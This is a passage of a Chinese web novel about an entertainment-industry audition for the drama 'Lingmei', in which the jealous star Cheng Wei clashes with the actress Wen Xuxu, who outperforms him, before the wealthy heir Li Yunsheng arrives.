成维笑呵呵的跟粉丝们拍大合照,好像完全不顾这是《灵媒》剧组试镜的地方,好像这里就是他成维自己的地盘儿。 合照时,成维刻意将背景虚化成《灵媒》剧组的logo墙,彼时正在用大粉的手机给彼此拍照,倏地却注意到林夏没有走,不仅没有走还换了一条队伍排队。 如果他没看错的话那条队伍都是试镜男二号的,他不是让导演把林夏赶出剧组吗? 导演是怎么办事儿的?这叫赶走? 成维脸上的笑意僵了一瞬。 他快速拍好照片然后笑呵呵的跟粉丝们说再见,便让经纪人和助理把演员导演请进了休息室。 窗户被关上,房间内的谈话也可以保证完全不会传出去了。 可在场的人精太多了。 第1034章 最不缺的就是美人 联想到之前演员导演让林夏离开剧组的事,再看到林夏没有离开,成维立刻就把演员导演叫进去。 说不定就是成维看林夏不顺眼,不然演员导演压根不认识林夏,干嘛针对林夏? 已经有人在小声议论了。 “是成维要把林夏赶出剧组吧,这事儿肯定跟成维有关系,不然演员导演都不知道林夏是谁,何必赶人,再说了谁也没看到有什么大师来剧组算命算风水啊,就是胡诌的吧。” “肯定是成维要整林夏!不然导演怎会无端赶人?什么大师算命,分明是借口!” “我记得成维跟林夏好像以前是认识的?” “你开玩笑吧,林夏这人我都没听说过有什么作品,成维可是圈子里当红的流量,这俩人就没认识的可能啊。” “听说三年前他们参加过同一档男团选秀?” “我靠,确实是这样!成维和林夏好像三年前参加过一档男团选秀综艺啊!当时这俩人可是同一个团的队员!” “对啊!当时成维可是C位出道,林夏却惨遭淘汰,后来资源一落千丈……” 议论这些的人此刻觉得自己知道了真相一样。 当年成维和林夏绝对是发生了点什么不愉快的事情吧,不然成维怎么会这样针对林夏的? 众说纷纭,反正都觉得肯定是林夏得罪了成维,不然成维怎么不提拔他? 成维不知道外面已经有人因为这件事开始议论起来,此刻休息室的门被关上,成维脸上本来带着的虚假的笑意也在此刻彻底消失了,满脸的不耐。 他斜倚沙发,指尖叩击扶手,眼底阴云密布:“林夏还在?助理没传达清楚?导演,我的助理应该也跟你提过了要让林夏离开剧组的事。” “导演,这到底是什么情况呢?” 演员导演头上冒冷汗。 他虽然是秦扬帆这边的演员导演,但在圈子里其实地位算不得多高,知道成维身份摆在这里也只能把人捧得高高的。 导演鬓角冷汗涔涔,谄媚的笑近乎扭曲:“成老师,我这实在是没办法,是咱们剧组的女主角一定要让林夏参加男二号的试镜,那女主角跟秦导那边有点关系,所以她开口的事情我们不好拒绝。” “不过成老师您放心,现在只是给他一个试镜机会罢了,能不能通过被选中还要另说的。” 听了这话成维内心就只想冷笑。 他为什么这么警惕林夏? 就因为林夏长得好演得好! 但凡林夏丑一点演技差一点他都不会这么在意这么轻易破防。 导演说什么林夏可能不会被选中? 只要秦扬帆看了林夏演的片段绝对会选林夏的。 秦扬帆如果肯拍林夏,那林夏以后一定会爆红。 他决不能眼睁睁的看林夏爆火。 成维的怒火并非无因。 三年前选秀舞台的灯光仍灼在记忆里,林夏以黑马之势杀入决赛,凭逆天颜值和绝杀舞台收割无数尖叫。成维当时便觉危机如刃悬颈,若给他机会,流量王冠恐将易主。 决赛夜后,林夏却因“黑料”被雪藏,三年时间,足够林夏丢掉所有热度了。 他清楚只要给林夏一点机会,他必然能翻身,可他就没打算给林夏翻身的机会。 “女主角?我认识?” 是谁给了林夏机会。 成维眉峰骤挑,眼底掠过一抹嘲弄。他斜倚沙发,指尖叩击扶手,节奏似在敲打导演的神经。 成维知道演员导演的意思了,也明白这人没多少实权,在剧组其实也只能管管下层演员,上面的其实说不上几句话,与其为难他,倒不如问清楚女主角是谁。 演员导演被他盯得脊梁发寒,谄笑中藏着颤音:“您……或许见过?刚才您还对她笑过呢。” 成维喉间溢出轻笑,仿佛听到荒谬的笑话。今日笑脸赠人无数,粉丝、同行、工作人员……谁值得他记在眼底?他自负地扫过导演:“咖位相当的,能与我搭戏的,除了杨明月、林美心,还有谁?” 会不会是她们两个? 他心里想到的只有这两个人了,因为这两个人咖位比他稍大,都是粉丝很多的大前辈了。 如果是这两个人他倒要好好想想怎么哄着两位老师放弃捧林夏。 想了一会儿,成维记起来了。 这两人就应该都已经进其他组了,没道理会在这个组,所以会是谁呢? 成维心里好奇圈子里面到底谁还跟自己咖位相当? 目前有档期的能配得上跟自己搭戏的好像也没几个,成维绞尽脑汁想着也没想清楚那人到底是谁。 最后只能问演员导演那人到底是谁. “成老师你不知道谁是女主角吗?我刚才还看到您跟她笑呢,我还当成老师您跟她认识呢。” 演员导演赶紧回应,生怕成维又误会什么。 成维确实懵了一下,今天对着笑的人太多了,一时有点记不清自己都对着谁笑过了。 “就那个一眼望过去就移不开眼,漂亮到几乎明艳的那位。” 只这么一句话,成维立刻明白导演说的是谁了。 成维满脸不敢置信:“秦导疯了吗?让我跟一个十八线小演员一起拍戏?” 他是觉得温栩栩漂亮,当时心里也想的是够格当自己情人可以约一约睡一睡,还当是自己的粉丝了,当时还寻思自己什么时候有这么漂亮的粉丝了。 没想到竟然是《灵媒》的女主角。 凭什么?有咖位吗?有粉丝吗? 什么都没有空有一张脸凭什么出演《灵媒》跟她一起出演主角? 这太可笑了不是吗? “秦导是真的疯了,这是打算让那女人来吸我的流量啊!你们是知道我火所以故意的想要利用我是不是!” 成维内心的怒火在此刻彻底翻涌,他好像真的觉得剧组完全是在利用自己 他倏然起身,将窗缝掀开一线,楼下粉丝的尖叫如潮水涌来,衬得他的愤怒更显荒诞。他冷笑:“漂亮脸蛋?娱乐圈最不缺的就是美人,她凭什么?” “剧组这是看我脾气好打算欺负我了?” 第1035章 被吸血 成维确实是觉得剧组这是欺负人,谁家咖位不一样的凑一起演戏啊。 咖位小的那就是吸流量的血。 有多少人是冲着流量看的最后喜欢上了别的角色,他跟温栩栩一起拍戏,指不定多少人冲着他来粉上温栩栩的。 只要想到自己粉丝可能粉别人就开始气愤。 这会儿成维到时忘记了曾经他没有真正火起来的时候也是一直蹭着其他女角色的剧,贴着流量女星一点点爬高的。 其实说白了成维这种人就是我可以吸你的血但你不能吸我的血,实在双标。 但成维此刻这话演员导演听得心里都有点不乐意。 骂他就骂他,怎么还这么说话呢? 怎么就怪到剧组身上了? 也没人逼你来海选试镜啊,那不是你自己查到秦扬帆导演有最近拍摄的机会自顾自的来试戏的,现在自己来试戏又说被吸血吸流量?谁逼你了? 难道是剧组刀在脖子上逼你来的?有病不是? 还不是你自己看导演是秦导所以想来试一试? 如果换做是其他导演成维肯定来都不来的,他自己不还是没怎么拍过这种大导演的剧? 自己都是想着来蹭导演吃这大饼的还嫌弃这嫌弃那的,女主角真要是大热女星那还用得到你吗?你现在火归火补还只是个流量?你是演技派吗你! 演员导演内心骂骂咧咧。 成维却扛不住了,根本不知道这么一会儿功夫演员导演可能在心里骂了他这么多句。 “你现在就把那女人叫进来,我倒要问问清楚到底是怎么回事?” “让我带她拍戏就算了,还要故意针对护着我讨厌的林夏,这绝对就是在针对我!” 成维嚷嚷着要见温栩栩,温栩栩这会儿还在看剧本,接到演员导演的电话也没多想,赶紧去了休息室,结果一进去就对上成维冷冽的眼神。 和之前那满面春风温和的模样完全不一样。 那个是虚伪,这个才是真实。 怎么他了?要这么盯着她看? 就跟拆了他祖坟似的。 还不等演员导演说句话,成维阴阳怪气呵了一声:“温栩栩,我不知道你是哪儿来的人脉能够勾搭上秦导,但你必须清楚这剧组不是你这种人能说了算的。” “我讨厌林夏,我就必须要赶走林夏,你留不下林夏。” “温栩栩,我说要赶走林夏那就一定要赶走林夏,你是护不住他的。” “你也最好懂点礼貌,算起来我可是你圈子里的前辈了,前辈要赶走的人你最好不要留着,否则就是要跟我正面为敌。” “我劝你也有点分寸,你是个十八线,而我是圈内顶流却还需要带着你这十八线一起演戏,你就知足吧,继续留着林夏你是要故意气死我不成。” 成维这帽子扣得就有点大了。 温栩栩觉得他就像是有病一样,都没搭理他就自己“哒哒哒”跟机关枪一样扫射出来。 “温栩栩,你最好清楚,这个剧组可以没有你但不能没有我,没有人会为了你而选择放弃我,所以你如果还清醒就不要继续拦着剧组赶走林夏。” 成维这是见温栩栩长得漂亮才会稍微温柔点,换做是助理,早就飙了,指不定多难听的话都能说出来。 成维甚至还觉得自己这算温柔。 外面多少人都说成维像个2G网的老干部绅士,总是有点懵,总是温和有礼的,事实上那都是公司营销出来的人设,真正的成维不仅不温柔还脾气暴躁,甚至最会阴阳怪气。 温栩栩听着成维这段话都要被逗笑了。 她是觉得成维是真有病,来之前真的没有查探一下背后的资本吗? 不过也可能是黎氏藏得太深,所以成维根本意识不到重点。 “事实上应该是这个剧组可以没有你,但一定不能没有我。” 温栩栩就这样回应,她根本没有直接正面的回答,就是要糊弄成维,成维果然被糊弄到火冒三丈的程度。 “可以没有我但一定要有你?温栩栩你知道你自己在说什么吗?” 别说成维以为自己听错了,演员导演和经纪人也都以为温栩栩此刻是不是脑子不清醒了。 成维可是娱乐圈现在的当红男流量,也就差几步就是顶流了。 “这部剧能拍出来肯定大爆,林夏适合男配角的角色,我适合女主的角色,我都已经想好后续怎么营销了,男主角反倒谁都能演,而女角色却是不好找的。” “成老师如果觉得实在接受不了那完全可以直接离开。” 温栩栩像是在劝,但又像是在赶人,且赶得就是成维。 她是一点都没打算给成维留脸面,就差没说赶紧滚了。 成维听了这话都觉得自己是不是听错了。 什么叫男主谁都能演? 成维冷笑一声却还是盯着温栩栩说:“我倒要看看林夏是不是真的有这能耐。” 话是这么说,但成维心里确实是慌的。 他比谁都清楚,林夏确实是有这能耐的。 十分钟后剧组确实开始角色试镜,这次《灵媒》已经提前告知定下了女主角,只是需要选择其他觉得,来试镜的人也是知道这件事的。 因为成维的身份,演员导演把成维安排在第一个,也是担心成维后面还有其他活动调不过来。 但显然成维不一定领他的情。 秦扬帆导演已经在会议室内等着了,其中也包括副导演和制片人以及一些其他剧组重要的工作人员。 秦扬帆还在看剧本,成维进来她连头都没抬一下。 成维知道秦扬帆一直都是大导演,人很傲慢,但拍戏的话也不是没用过流量,甚至于只要演技好就算是流量也会捧着的。 所以成维心里还是觉得自己很有希望的。 毕竟他性价比确实是高,他自认圈子里暂时没有谁比他性价比还高的人了,不用他还能用谁? 成维心里还有点得意。 只要留下自己,秦导势必会听他的建议。 就算温栩栩留下林夏有什么用,他一样能让秦导把林夏赶出剧组,到时候顺便把温栩栩也赶出去。 两个跟自己作对的人都不该留下! 第1036章 你是哪里来的冒牌货? 成唯在圈子里摸爬滚打数年,虽未攀至一线顶峰,却织就了一张人脉蛛网。 他惯于将“大导演邀约”化作粉丝狂欢的弹药,哪怕只是几句台词的龙套,也能被营销号渲染成“钦点男配”。 粉丝如信徒般膜拜热搜截图,将“与XX名导合作”的标签焊在他身上,流量数据因而年年暴涨,连秦扬帆这般挑剔的导演,都曾为他的“观众缘”抛出橄榄枝。 成唯深知这虚浮的泡沫是自己的护甲,此刻面对《灵媒》的重头戏,他早已将台词嚼烂于心,那是一场灵魂血祭后的诀别,男主角眼底需同时绞缠不舍、怀念与慌乱的狂潮,爱字未吐,却要让观众从每一寸瞳孔裂痕中窥见深情。 秦导让成唯试戏的片段是剧本中一段感情爆发戏,但这种爆发不是说多厉害的哭戏,而重要在眼神上。 演演出那种缱绻深情却又不舍怀念的感觉,其实是很复杂的一种情感。 这一幕戏是女主角作为接触灵魂超度灵魂的灵媒用灵魂身体血祭后男主角对她的那种复杂感情。 他们前期都没有说过一个爱,但却处处都透露着汹涌的深情的爱意。 在这里面的不舍大于怀念,这里的不舍甚至掺杂了明显的慌乱。 但因为了解女主角的性格,所以男主角只能放手任由她以自己的身体来献祭镇压那些恶灵。 这几乎是剧本中非常重要的重头戏。 秦导就是看重这部剧也看重成唯所以才挑了这段。 听到谁这段戏成唯露出了胸有成竹的表情,助演嘉宾才上台,温栩栩就凑到秦导耳边开口:“秦导,方便让我来跟成唯老师一起搭戏吗,我一直听说成唯老师演技很好,所以想领教一下,看看能不能跟成唯老师对上戏。” 秦导知道温栩栩的身份,温栩栩的背后是黎云笙,且温栩栩的演技听说也不错,算是符合灵媒中女角色了。 她本也没打算温栩栩演技有多好,只要在及格线她就能给温栩栩剪辑成八分九分。 这么年轻,谁指望对方又漂亮演技又好?那才是真的偏爱。 演技都是要磨炼的,起码秦导是愿意给温栩栩机会的。 秦导是女导演,自然明白娱乐圈对女演员有多苛刻,所以她愿意多给女演员一些角色。 更不要说温栩栩可能根本不需要她给资源,因为温栩栩背后就有黎云笙。 成唯还在台上,看到上台的人是温栩栩还愣了下。 温栩栩上来干什么? 他不觉得温栩栩是先跟自己交流沟通,他们才因为林夏的事情闹了矛盾,温栩栩怎么可能低头? 看她那性子也不是个能轻易低头的人。 温栩栩面带微笑:“成唯老师,我来跟您一起搭戏,毕竟…是导演在帮我选男主角呢。” 这话又给了成唯心理暗示。 女主角是绝对不会变的。 会变的只会有男主角。 而秦扬帆竟然真的这么偏心温栩栩,温栩栩说什么就是什么。 成唯脸上的笑意都有一瞬间的僵硬,他明显能感觉到温栩栩就是在挑衅自己,可这个时间说自己也没时间联系上面的人,不然一定要让温栩栩滚出剧组。 成唯勉强的笑了笑:“这个角色我很喜欢,我觉得我就是游远了。” 游远。 《灵媒》男主角。 “那真是巧了,我这个唐颖好像并不认识你这个游远。” 意思是你是哪里来的冒牌货? 我是正品女主却不认识你。 成唯勉力堆砌笑容:“游远这个角色与我灵魂相契,唐颖若不识,倒是可惜了。”他咬牙将角色名掷出,试图以“正统男主”身份压她一头。 温栩栩却似浑然不觉,指尖轻点剧本,眸色冰冷:“唐颖不识游远?那许是剧本之外,有人冒充了罢。” 两人嘲讽的已经互相杠上了,但台下的人根本不清楚两人之间暗潮涌动,还当两个人之间是在友好交流。 成唯的经纪人在台下站着脸都快要笑烂了,可还是要继续保持微笑,不然又要有人嘲讽说是不是成唯瞧不起温栩栩在故意搞什么冷暴力了。 演员导演到倒是在看戏了。 反正这俩人一个是当红流量一个背后有金主,全都是他得罪不起的人,也不敢得罪的人。 不管最后留下谁都跟他没关系了。 比起成唯,演员导演更愿意让温栩栩留下来了,事儿少啊,而且背后有金主那说明以后探班会给不少好处,总比这个只会做面子工程的成唯要好。 两人心思各异,秦扬帆似乎也瞧出来了两人的感觉不太对。 不过秦导不管这个。 演员谁管你的私生活?只要在拍戏的时候能尽快进入接走进入戏里面秦导才不管。 之前不还有一对演艺圈情侣分手了,在剧组都快打起来了秦导都不怎么在意,只在两人演亲密戏份的时候叮嘱训斥了几句。 可见在秦导这里天大地大都不如戏大。 秦导看着时间让两人开始试镜了。 秦扬帆也想定下成唯的,毕竟成唯是流量男明星,却还是相貌好的演技在及格线的流量男明星。 只要用了成唯那电视剧的热度肯定是有了,都不用剧组说,成唯的粉丝都会阻止去宣传这部剧的。 终于开始试戏,温栩栩几乎是秒进入角色。 她垂首而立,乌发如瀑倾泻至腰际,一袭墨色旗袍贴身勾勒出玲珑曲线,肩披银丝绒披肩,绣着暗纹的云霞在灯光下流转若隐若现的流光。 她指尖轻拢鬓角碎发,优雅高傲,仿佛唐颖的灵魂正借她躯壳整理生前最后的仪容。 旗袍襟口歪斜的盘扣被她一遍遍扶正,那固执的微颤指尖,似在抚摸一件即将破碎的珍宝。 她低着头,一手拢着自己的一边长发,像是在折腾自己身上的披肩,又好像有些强迫症的正了正衣裙,动作都是说不出的优雅。 剧本上的唐颖这个时候穿的就是旗袍和披肩。 但剧本里面没说唐颖这样做是为了什么。 温栩栩却很快给出了答案。 第1037章 这哪是新人? 她的相貌是很美的,骨相美皮相美,本来该是非常灵动的美人,在开始试镜后却多了几分难以言喻的淡然感觉,就连成维也有瞬间恍惚,好像此刻才是真正认识了温栩栩。 不。 应该说此刻她已经不是温栩栩了。 她就是唐颖。 就是剧本中那个淡然疏离超脱在外永远游离于人群中的唐颖,是那个发生任何事都能够撑到最后的唐颖,是那个哪怕天塌下来都能够顶起的唐颖,是那个哪怕以身献祭也要拯救所有人的唐颖。 明明最是疏离淡漠的人,却又是最温暖热情的人。 她的眼神总是冷的,可心是热的。 众人屏息间,她脊背忽而挺直如松,周身气质骤变。 眼波凝滞如寒星,眉梢却悬着若有若无的倦意,仿佛看尽人间悲欢却仍要淡然背负。 成唯对戏时,她抬眼相望的刹那,他恍惚觉得那眸子不是温栩栩的,那是唐颖的,疏离如观棋者,超脱如云端客,却暗藏能将天塌之灾扛于肩头的倔强。 她唇畔弧度始终未变,似笑非笑,似悲非悲,可那抹淡薄的笑意里,竟悄然渗出暖意,如雪中埋藏的炭火,冷与热在肌理间撕裂交融。 镜头捕捉她转身的刹那,披肩滑落肩头,她却不急拾起,只以指尖虚托半空,任其坠地。 这一瞬,她脊梁绷直如剑,下颌微仰,神情恍若俯瞰众生蝼蚁的灵媒,可眼角余光瞥向“男主角”成唯时,又闪过一丝转瞬即逝的悲悯,仿佛知晓对方不过是命运棋局中一枚可悲的卒子。 她的冷不是冰霜,而是焚尽所有炽烈后的灰烬,那淡然不是漠然,而是将万千深情炼化成祭奠苍生的慈悲。 台下,秦扬帆瞳孔骤缩,掌心不觉攥紧座椅扶手。 这哪里是新人试镜? 分明是魂魄附体的戏魂重生! 温栩栩的每一寸肌理都浸透了唐颖的魂髓,那旗袍在她身上不再是戏服,而是灵媒的枷锁,那披肩滑落不是失误,而是血祭前卸下的凡尘羁绊。 成唯被她眼神刺中,喉头哽住,原以为能凭流量光环压制的对手,此刻竟以演技的烈焰将他烤灼得无处遁形。 经纪人僵笑的面具裂开,粉丝的欢呼声在此刻成了遥远的杂音,唯有她立在那里,如一座孤峰,疏离而炽热,将角色内核剖开示众。 试镜场的空气凝滞,温栩栩的淡然疏离与灼热悲悯在呼吸间撕扯,仿佛唐颖的灵魂正与她血肉搏斗。 这一刻,无人再疑她是温栩栩,她就是那个在剧本中以身镇恶灵的唐颖,是那个顶天塌地却仍要含笑诀别的灵媒,是冷眼观世却甘愿焚身救苍生的矛盾化身。 其实成维在看到剧本的时候就知道这个角色有多出彩,成维还想过如果最忌进组看能不能把角色调换一下,把唐颖这个角色改成男性,男女角色人设兑换一下。 因为成维觉得女主角的角色更出彩。 不过后来还是作罢,无他,只因为游远的角色也很出彩,而且成维确实想拍一点有挑战的角色,游远这个角色就是个反社会型人格却有道德底线没有触碰法律红线的一个正义怪人,如果能够塑造好这个角色的话,可能以后会有更多好剧本找上来。 起码让那些大导演知道他成维不是只能演配角,也能挑大梁。 现在看到温栩栩这样出演唐颖,成维心念一动,好像真的透过剧本看到了那个令所有人见到后都震惊爱慕的女性角色。 首先令人惊艳的是皮相外貌,然后才是身上那股超然的气质。 大抵是为了这个角色,温栩栩今天穿了一件素色旗袍,衬的整个人宛若空谷幽兰,仿佛只是看一眼都能嗅到淡淡的幽冷的清香。 成维目光灼灼的望着温栩栩,久久没能有什么回应。 “成唯!你的眼神错了!唐颖血祭时,游远看她的眼神不该是浮于表面的灼热,而是要将不舍、爱意、悲壮,甚至想代她赴死的决绝!你得把那些未言的深情、共同的生死经历都揉进瞳孔里,让这复杂情感像荆棘扎进观众心里!重来!”秦扬帆斥责,她猛地拍响座椅扶手,眉头紧皱。 全场霎时寂静,连摄影机都似屏住了呼吸。 秦扬帆完全没给成维面子,当着众人的面儿就提出了自己的意见。 成维脸上的笑意都有些僵硬了,他指尖下意识攥紧袖口,指甲在掌心掐出月牙痕。 他明显是不太高兴,但秦扬帆的地位摆在这里,秦扬帆的地位如泰山压顶,他纵使心头燃火,也只能咽下耻辱,喉间挤出沙哑的“好”。 温栩栩仍立在原处,旗袍披肩勾勒的身影似一尊冰雕。 她睫羽低垂,遮去眸中所有波澜,却让人错觉那静默中藏着千层风暴。 唐颖的疏离在她骨血里生根,此刻看成唯的眼神,真如剧本中灵媒俯瞰凡人,无悲无悯,无喜无怒,甚至不带一丝挑衅的恶意。 那漠然比讥讽更刺人心,成唯忽觉自己在她眼中不过是无名尘埃,连“游远”的影子都未沾边。 他胸腔里翻涌着不甘,仿佛被无形绳索勒住喉管,屈辱与怒火在血管里沸腾,却只得强行压下,重新调整呼吸。 温栩栩还是那副模样,甚至都没出戏,此刻就好像是剧本中的唐颖眸光淡漠的看着他,又或者只是路过,根本毫不在意她。 因为此刻在她眼里他不是游远,只是成维。 好像因为这一段戏无端的被温栩栩鄙视了。 成维心有愤怒却还是重新开始了。 灯光再度灼亮,成唯咬牙将情绪重组。 他逼自己回想与唐颖的羁绊,并肩驱灵的夜、她指尖抚过他伤口的温度、她转身赴死时那抹未出口的“别追”……泪腺被迫挤出湿润,瞳孔刻意染上赤红,却仍被秦导厉声截断:“不对!你的悲壮太刻意,爱意像隔了层纱!重来!” 第三次试戏,他近乎癫狂地压榨情感,嘶吼着喊出“不要走”,却换来导演更冷的嗤笑:“游远不会崩溃,他懂她的抉择,所以他的痛是沉默的火山!继续!” 第1039章 那是黎家继承人 现在秦导对温栩栩越是喜欢,就等于秦导越是不满意他方才那段表演,好像在说他的表演不如温栩栩一样。 虽然事实如此,但成维心里就是别扭,像被人踩了一脚。 秦导现在心情大好,接下来进来试镜的演员秦导直接让温栩栩去一起陪着试戏了,可见秦扬帆是真喜欢温栩栩,这样就是为了多看看温栩栩跟他们怎么搭戏的。 温栩栩每一段戏都演的很好,让人挑不出错,就是对演技挑剔的秦导都只能拍手鼓掌,成维脸上的笑也已经彻底僵住。 还是经纪人在一旁叮嘱:“不要这个表情,要笑,快笑。” 这种程度谁还能笑得出来?真能笑得出来的人到底有多没心没肺啊! 成维几乎是倒吸了一口凉气的程度。 “我笑不出来。”成维的表情略带几分扭曲之意。 经纪人看他这样也知道成维是真的快到极限了,只觉得这真是位祖宗啊。 正打算给成维请假让成维先回去休息,省的继续在这边看温栩栩演戏遭受暴击了。 成维也是这么想的,只是还没等两个人打算离开,却见会议室大门重新被打开了,来人身后跟随着数十名黑衣保镖紧随其后,为首的男人身形高大俊美冷隽,好似身上都带着生人勿进的冷意。 他眉骨凛冽,眉梢斜飞入鬓,凝着冷玉般的色泽,双目狭长凛然,瞳仁深邃如墨潭,鼻梁挺直,每一寸轮廓都似古希腊雕塑与东方水墨的交融,冷峻中透着惊心动魄的俊美。 他身着的西装剪裁极致贴合身形,暗纹游走如龙蛇隐没于黑缎,袖扣是铂金雕琢的图腾。最骇人的是他周身的气场,寒意自他足底蔓延至空气,让成维不自觉打了个寒颤。 那些保镖在他身后形成一道黑色屏障,让他看着便叫人不敢接近。 成维立刻有些恼:“怎么又有人来试戏了?这又是谁家的资源咖,你不是都查过了最后只有我才会被选中当男主角?这人又是谁?会不会是背后有金主,不然怎么身后跟着那么多保镖,装什么呢,我是明星我保镖都没这么多呢。” 说白了就是嫉妒,因为觉得对方长得实在是好,而且,成维就是有种说不出的感觉,觉得来人才更适合《灵媒》的游远。 而他最多只能演个壳子,对方却是直接本色出演就会是游远。 且不得不承认,他跟温栩栩站在一起的CP 感真的比不上新来的这人。 难不成这人是秦导选中的男演员? 成维心里想东想西,想了一堆杂七杂八的,经纪人一看就知道成维脑子里面没装正经东西,内心实在想骂几句笨蛋,可转念一想这是自己手下的艺人,还是最火的摇钱树,能怎么着?只能继续捧着了。 “你快别用这眼神看那位了,那位是帝城黎家的继承人!”经纪人小声的在成维耳边低吼,生怕自己的艺人干出点什么丑事得罪了黎云笙。 来人正是黎云笙。 成维顿住,有些瞠目结舌。 黎氏的少爷他还是知道的,只是从未见过,也没听人说这位少爷的颜值这么逆天? 但凡这位少爷有兴趣进娱乐圈,那还有他什么事儿啊。 迟早都是这位少爷的天下了。 成维心里想着便又算起来,嫉恨自己没投个好胎。 但凡真的能投到黎家有黎云笙这样的身份,谁看到他不会尊敬膜拜呢? 成维在这里想了这么多,压根没把经纪人说的话放心上,好在他运气确实算好,黎云笙根本没有将目光放到她身上。 黎云笙进场,秦导站起来迎接,黎云笙只淡淡颔首,并未让秦导让出主座,而是自己挑了个位置姿态闲适随意的坐下。 黎云笙的突然出现让温栩栩怔愣许久,好在这时候并没有在试戏了。 秦导换了场戏,已经有人又上台了,温栩栩还在帮对方一起对戏,只是此刻能明显感受到男人看过来的目光,专注灼热,好像此时此刻眼中只有她的感觉。 分明没有对上他那双眼,温栩栩已经背对他,身体僵硬的几乎不敢动作。 苏婉的事她可没忘,在她心里黎云笙就是一个已经有了爱人后还要劈腿的渣男,黎云笙对她有兴趣她只能感觉到的。 只是她太敏感,感兴趣是一回事,但真爱是一回事。 她没妄想过得到黎云笙的真爱,只是不喜欢他这样玩弄自己的感情,搞得她好像一个被人随意耍弄的小丑。 她不喜欢这样。 温栩栩呼吸略微有些急促,但还是没让自己面上露出什么端倪,继续跟一旁的人对戏。 黎云笙坐在台下,目光一直落在台上穿着素色旗袍的温栩栩身上,她和平日里有很大的不同,能感受得到她身上那种明显疏离的冷漠感,哪怕一个台上一个台下都能感受到彼此之间的差距。 他的目光没有半分偏移,成维走到他身边,他自认自己是个有名的流量,所以觉得黎云笙应该是认识自己的,起码会给自己一点面子。 可没想到自己坐在黎云笙对面都得不到黎云笙一个眼神。 成维脸上的笑意都僵了。 他开口:“黎少您好,我是成维……演过《锦绣河山》的那个成维。” 他其实还是很想跟黎云笙打好关系的。 圈子里的人都知道这位爷身份地位摆在这里,且极其护短。 圈子里都知道的那个苏婉就是如此,这位爷不就特地办了一家娱乐公司,专门为了捧苏婉的,苏婉就是里面的独苗苗,资源全都是苏婉的。 不过苏婉是个女人,跟他的资源几乎没有重叠的。 他想着,万一真的讨好了黎云笙,那这位少爷说不定一高兴真的会给自己一点资源呢? 成维还挺敢想。 他觉得自己运气还行,不然怎么会试镜第一天就遇到了这位黎少爷呢。 成维面上继续挂着讨好的笑,任谁看到都知道他这是在讨好。 不过这没什么说的,毕竟谁看了黎少爷都要讨好的。 第1040章 这才多久,就叫上阿愿了 台下黑压压的人群中,成维的殷勤笑声格外刺耳。 他正弓着腰向身旁的男人介绍着什么,那人却始终静坐在阴影里,修长的手指漫不经心敲打着座椅扶手。 温栩栩的余光扫过那道身影,呼吸倏地凝滞。 成维在这里讨好黎云笙,黎云笙的眼神完全没有偏移,目光一直落在温栩栩的身上。 成维察觉到自己被忽略了,又有些尴尬的笑了两声方才开口。 “黎少……” 黎云笙声音淡淡的打断:“安静,这种场合你这样窃窃私语只会让我觉得你非常没有教养,这是对台上试戏演员的不尊重。” 成维唇角狠抽。 对试戏演员不尊重? 这偌大的会议室里面多少人都在议论说小话呢,怎么就对试戏演员不尊重了? 大家都在讨论演的怎么样演的好不好啊,怎么还不能说话了,而且这种试镜只要秦导再看不就好了? 成维已经隐隐意识到面前的人对自己没有好感,甚至又恶感了,只能勉强的笑了下果然不在吱声了。 台上的温栩栩还在陪着其他演员试镜,此刻已经转过身做了一个动作,只是转身便对上男人那双漆黑幽暗的眸,其中好像裹挟着数万星辰在亮着稀碎的微光。 那是一双很漂亮的眼睛,她真的很难想象这样的男人会伤害到自己,是个渣男。 他怎么会是渣男…… 温栩栩觉得心头有一股难以言喻的钝痛感,此刻说不上来是为谁难过了,总归心里就是会不舒服,大抵就是在为黎云笙而不舒服。 好像就是会有一种这个人是自己的,他凭什么属于别人的强烈占有欲。 两人四目相对,温栩栩眼睫微颤,眼底染带了几分水汽,倏地秦导一拍手喊道:“好!就是这个眼神!这种眼底带着一点不易察觉的泪意,这完全证明了唐颖这个灵媒融入到了人群中,感受到了那种痛不欲生的撕心裂肺的属于真正人类的感情!” “这一幕就是,她这样凉薄的人,也明白了什么是爱意。” “明白,但是眼底却还会带着不解和疑惑,因为她不是马上就能接受这种爱意的人,所以这里的眼神处理的非常好!” 秦扬帆现在看温栩栩是怎么看怎么喜欢的程度。 温栩栩被秦导这一声叫喊缓过神儿,微微颔首继续后面的戏。 会议室的大门又一次被推开,黎云笙轻微皱眉,却见来人手里摇晃着墨镜,一副吊儿郎当的模样,那双漂亮的桃花眼里面都是想看戏的戏谑。 是盛景炎。 他并不是一个人来的,身边还跟着一名身子婀娜高挑的女人,身上是明显的红色长裙,她好像总是喜欢穿比较贴身的衣服,那晚在华庭的时候盛景炎看到的就是穿着贴身长裙的她。 陪在盛景炎身边的赫然就是那天在华庭有过一面之缘的许愿。 盛景炎这副模样黎云笙也只是扫了眼,似乎是警告盛景炎不要来打扰自己。 盛景炎哪管这个,直接上前来坐到黎云笙身边,还特意给腾出位置,取出的包中有餐盒牛奶和爆米花,一样样的摆到许愿面前。 黎云笙:“……” 这人到底来干什么的? 黎云笙很不爽。 对盛景炎的不爽只有几分,但对许愿的不爽却有很多很多,他自己都不明白,明明许愿什么都没做,为什么就是控制不住对许愿的那种在意和厌恶。 就好像已经猜到许愿要抢走自己的东西一样。 会是很珍贵很在意的东西。 黎云笙扫了许愿一眼,不爽。 盛景炎却警惕:“你不是有人了?难道还真的是渣男?” 这梗过不去了?能不能有一天不说自己是渣男的? 黎云笙险些被气笑了。 “你到底来干什么的?你怎么知道我在这里?” “你故意来捣乱的?” “你知不知道这是黎氏投资的剧?” 黎云笙问犯人一样,一字一句的全都推着问出来了 盛景炎头疼的捏捏眉心很给面子的为黎云笙做解答。 “来看戏,不知道你在这里不是为你来的只是为《灵媒》这部剧来的,阿愿喜欢《灵媒》那本书,所以想知道谁来出演唐颖和游远。刚巧我知道所以就带着阿愿来了。” “另外,不是来捣乱的,不知道这是黎氏的剧,就是带阿愿来看戏的。” 盛景炎就差没有多说一句不要多管闲事了,他其实还有点嘚瑟的。 黎云笙的眼神仍然冷漠。 “这才多久,就叫上‘阿愿’了?” 满打满算认识有一周吗?这才几点?不矜持! 他其实不是老古板,但就是因为不喜欢许愿,所以故意找茬了。 “《灵媒》在网络上没有出版,她从哪里看的?”黎云笙质疑。 “那位编剧曾经在网络上发表过其中一节的短篇。”盛景炎解释。 盛景炎也瞧出来他火气大,轻啧一声,心道黎云笙总不该又被温栩栩说是渣男了吧。 